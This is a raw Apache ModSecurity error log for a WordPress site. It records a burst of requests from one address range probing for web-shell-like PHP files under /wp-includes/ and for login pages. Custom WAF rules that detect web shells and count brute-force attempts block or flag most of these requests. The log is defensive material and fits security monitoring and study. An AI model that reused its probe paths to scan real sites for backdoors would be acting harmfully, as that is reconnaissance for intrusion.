[Tue Mar 24 18:58:32.177722 2026] [:error] [pid 38767:tid 38792] [client 2.57.170.207:26865] [client 2.57.170.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "acJuWPwkUqN4GJAI5oUHlgAAARY"]
[Tue Mar 24 18:58:32.803377 2026] [:error] [pid 38767:tid 38784] [client 2.57.170.212:64795] [client 2.57.170.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "acJuWPwkUqN4GJAI5oUHmQAAAQ4"]
[Tue Mar 24 18:58:33.427042 2026] [:error] [pid 48219:tid 48283] [client 2.57.170.180:50053] [client 2.57.170.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "acJuWShf3b4R_lAIyv9t7wAAAgI"]
[Tue Mar 24 18:58:43.935563 2026] [:error] [pid 3137:tid 3160] [client 2.57.170.176:40867] [client 2.57.170.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "acJuY5dZesutm6dfYM8YSQAAANU"]
[Tue Mar 24 18:58:46.386837 2026] [:error] [pid 38767:tid 38790] [client 2.57.170.211:32831] [client 2.57.170.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 2.57.170.211, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "acJuZvwkUqN4GJAI5oUH1AAAARQ"]
[Tue Mar 24 18:58:49.181308 2026] [:error] [pid 38767:tid 38794] [client 2.57.170.211:32831] [client 2.57.170.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/class-config.php"] [unique_id "acJuafwkUqN4GJAI5oUH2gAAARg"]
[Tue Mar 24 18:59:01.414120 2026] [:error] [pid 38767:tid 38793] [client 2.57.170.217:52019] [client 2.57.170.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "acJudfwkUqN4GJAI5oUH-QAAARc"]
[Tue Mar 24 18:59:06.493544 2026] [:error] [pid 48219:tid 48284] [client 2.57.170.193:34671] [client 2.57.170.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bak.php"] [unique_id "acJueihf3b4R_lAIyv9uGwAAAgM"]
[Tue Mar 24 18:59:07.078184 2026] [:error] [pid 3032:tid 3114] [client 2.57.170.210:20037] [client 2.57.170.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "acJueya_-JXXD03-JNxJ4AAAAIs"]
[Tue Mar 24 18:59:08.410202 2026] [:error] [pid 64198:tid 64222] [client 2.57.170.189:27527] [client 2.57.170.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "acJufHVzJqf6OS_oSZ2TJAAAAVY"]
[Tue Mar 24 18:59:16.112022 2026] [:error] [pid 3137:tid 3145] [client 2.57.170.190:41997] [client 2.57.170.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "acJuhJdZesutm6dfYM8YZQAAAMY"]
[Tue Mar 24 18:59:16.858168 2026] [:error] [pid 48219:tid 48294] [client 2.57.170.181:52457] [client 2.57.170.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "acJuhChf3b4R_lAIyv9uIQAAAg0"]
[Tue Mar 24 18:59:21.122056 2026] [:error] [pid 48219:tid 48305] [client 2.57.170.183:38809] [client 2.57.170.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "acJuiShf3b4R_lAIyv9uKgAAAhg"]
[Tue Mar 24 18:59:21.767768 2026] [:error] [pid 48214:tid 48260] [client 2.57.170.204:36393] [client 2.57.170.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "acJuibeshLWZ3uUDHKlgOgAAAcg"]
[Tue Mar 24 18:59:26.610077 2026] [:error] [pid 48219:tid 48288] [client 2.57.170.217:22623] [client 2.57.170.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "acJujihf3b4R_lAIyv9uMAAAAgc"]
[Tue Mar 24 18:59:27.206795 2026] [:error] [pid 64198:tid 64221] [client 2.57.170.217:27479] [client 2.57.170.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "acJuj3VzJqf6OS_oSZ2TLwAAAVU"]
[Tue Mar 24 18:59:27.821455 2026] [:error] [pid 3030:tid 3064] [client 2.57.170.206:25551] [client 2.57.170.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "acJujwyOuILyynfcqflV9wAAAA8"]
[Tue Mar 24 18:59:30.549626 2026] [:error] [pid 3137:tid 3155] [client 2.57.170.182:64379] [client 2.57.170.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "acJukpdZesutm6dfYM8YcQAAANA"]
[Tue Mar 24 18:59:31.207695 2026] [:error] [pid 48219:tid 48284] [client 2.57.170.176:35109] [client 2.57.170.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "acJukyhf3b4R_lAIyv9uMwAAAgM"]
[Tue Mar 24 18:59:31.840668 2026] [:error] [pid 38767:tid 38770] [client 2.57.170.208:27969] [client 2.57.170.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "acJuk_wkUqN4GJAI5oUILgAAAQA"]
[Tue Mar 24 18:59:33.523765 2026] [:error] [pid 48219:tid 48290] [client 2.57.170.175:27543] [client 2.57.170.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "acJulShf3b4R_lAIyv9uNAAAAgk"]
[Tue Mar 24 18:59:35.767067 2026] [:error] [pid 64198:tid 64212] [client 2.57.170.172:64995] [client 2.57.170.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "acJul3VzJqf6OS_oSZ2TOwAAAUw"]
[Tue Mar 24 18:59:36.703390 2026] [:error] [pid 3031:tid 3079] [client 2.57.170.192:47865] [client 2.57.170.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "acJumKJBKytnG47nuiYw-AAAAEM"]
[Tue Mar 24 18:59:48.718037 2026] [:error] [pid 64198:tid 64218] [client 2.57.170.196:49623] [client 2.57.170.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "acJupHVzJqf6OS_oSZ2TTwAAAVI"]
[Tue Mar 24 18:59:49.332748 2026] [:error] [pid 48219:tid 48295] [client 2.57.170.197:38801] [client 2.57.170.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "acJupShf3b4R_lAIyv9uZQAAAg4"]
[Tue Mar 24 18:59:50.024467 2026] [:error] [pid 38767:tid 38771] [client 2.57.170.205:63743] [client 2.57.170.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "acJupvwkUqN4GJAI5oUIYAAAAQE"]
[Tue Mar 24 18:59:54.382079 2026] [:error] [pid 38767:tid 38790] [client 2.57.170.213:35721] [client 2.57.170.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "acJuqvwkUqN4GJAI5oUIawAAARQ"]
[Tue Mar 24 18:59:54.984011 2026] [:error] [pid 64198:tid 64207] [client 2.57.170.201:52907] [client 2.57.170.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "acJuqnVzJqf6OS_oSZ2TWQAAAUc"]
[Tue Mar 24 18:59:59.815773 2026] [:error] [pid 3031:tid 3094] [client 2.57.170.211:44349] [client 2.57.170.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "acJur6JBKytnG47nuiYw_AAAAFI"]
[Tue Mar 24 19:00:01.062381 2026] [:error] [pid 48219:tid 48302] [client 2.57.170.174:36875] [client 2.57.170.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "acJusShf3b4R_lAIyv9ucwAAAhU"]
[Tue Mar 24 19:00:01.824565 2026] [:error] [pid 48219:tid 48287] [client 2.57.170.194:33055] [client 2.57.170.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "acJusShf3b4R_lAIyv9udQAAAgY"]
[Tue Mar 24 19:00:02.713366 2026] [:error] [pid 64198:tid 64200] [client 2.57.170.219:25995] [client 2.57.170.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "acJusnVzJqf6OS_oSZ2TawAAAUA"]
[Tue Mar 24 19:00:03.979626 2026] [:error] [pid 3137:tid 3163] [client 2.57.170.200:45023] [client 2.57.170.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "acJus5dZesutm6dfYM8YngAAANg"]
[Tue Mar 24 19:00:06.507757 2026] [:error] [pid 64198:tid 64207] [client 2.57.170.205:21025] [client 2.57.170.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "acJutnVzJqf6OS_oSZ2TdwAAAUc"]
[Tue Mar 24 19:00:07.175650 2026] [:error] [pid 38767:tid 38790] [client 2.57.170.212:26251] [client 2.57.170.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "acJut_wkUqN4GJAI5oUIewAAARQ"]
[Tue Mar 24 19:00:07.799662 2026] [:error] [pid 38767:tid 38784] [client 2.57.170.174:48933] [client 2.57.170.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "acJut_wkUqN4GJAI5oUIfwAAAQ4"]
[Tue Mar 24 19:00:08.405639 2026] [:error] [pid 3032:tid 3113] [client 2.57.170.175:58631] [client 2.57.170.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "acJuuCa_-JXXD03-JNxJ-QAAAIo"]
[Tue Mar 24 19:00:11.002780 2026] [:error] [pid 3031:tid 3084] [client 2.57.170.205:59795] [client 2.57.170.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "acJuu6JBKytnG47nuiYw_gAAAEg"]
[Tue Mar 24 19:00:13.509565 2026] [:error] [pid 3032:tid 3116] [client 2.57.170.199:62595] [client 2.57.170.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/about.php"] [unique_id "acJuvSa_-JXXD03-JNxJ_QAAAI0"]
[Tue Mar 24 19:00:17.901997 2026] [:error] [pid 64198:tid 64222] [client 2.57.170.193:31217] [client 2.57.170.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "acJuwXVzJqf6OS_oSZ2TkAAAAVY"]
[Tue Mar 24 19:00:18.536028 2026] [:error] [pid 48128:tid 48175] [client 2.57.170.200:58729] [client 2.57.170.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "acJuwsvR4LIMFLbM5VkxfgAAAZY"]
[Tue Mar 24 19:00:19.142877 2026] [:error] [pid 48214:tid 48275] [client 2.57.170.180:41747] [client 2.57.170.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "acJuw7eshLWZ3uUDHKlgUgAAAdc"]
[Tue Mar 24 19:00:19.783835 2026] [:error] [pid 38767:tid 38774] [client 2.57.170.217:39987] [client 2.57.170.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "acJuw_wkUqN4GJAI5oUIhgAAAQQ"]
[Tue Mar 24 19:00:20.406398 2026] [:error] [pid 48214:tid 48276] [client 2.57.170.2:48263] [client 2.57.170.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "acJuxLeshLWZ3uUDHKlgUwAAAdg"]
[Tue Mar 24 19:00:23.118118 2026] [:error] [pid 38767:tid 38782] [client 2.57.170.198:57009] [client 2.57.170.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 2.57.170.198, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "acJux_wkUqN4GJAI5oUInQAAAQw"]
[Tue Mar 24 19:00:24.993124 2026] [:error] [pid 38767:tid 38791] [client 2.57.170.198:57009] [client 2.57.170.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "acJuyPwkUqN4GJAI5oUIpAAAARU"]
[Tue Mar 24 19:00:25.603042 2026] [:error] [pid 38767:tid 38771] [client 2.57.170.188:61695] [client 2.57.170.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "acJuyfwkUqN4GJAI5oUIqQAAAQE"]
[Tue Mar 24 19:00:28.185678 2026] [:error] [pid 38767:tid 38781] [client 2.57.170.183:62605] [client 2.57.170.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "acJuzPwkUqN4GJAI5oUIswAAAQs"]
[Tue Mar 24 19:00:28.793925 2026] [:error] [pid 48219:tid 48295] [client 2.57.170.215:63627] [client 2.57.170.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "acJuzChf3b4R_lAIyv9uhQAAAg4"]
[Tue Mar 24 19:00:33.108535 2026] [:error] [pid 3137:tid 3143] [client 2.57.170.204:59621] [client 2.57.170.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "acJu0ZdZesutm6dfYM8YtwAAAMQ"]
[Tue Mar 24 19:00:33.710101 2026] [:error] [pid 64198:tid 64215] [client 2.57.170.203:21327] [client 2.57.170.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "acJu0XVzJqf6OS_oSZ2TpAAAAU8"]
[Tue Mar 24 19:00:34.314369 2026] [:error] [pid 48128:tid 48164] [client 2.57.170.60:46835] [client 2.57.170.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "acJu0svR4LIMFLbM5VkxiQAAAYw"]
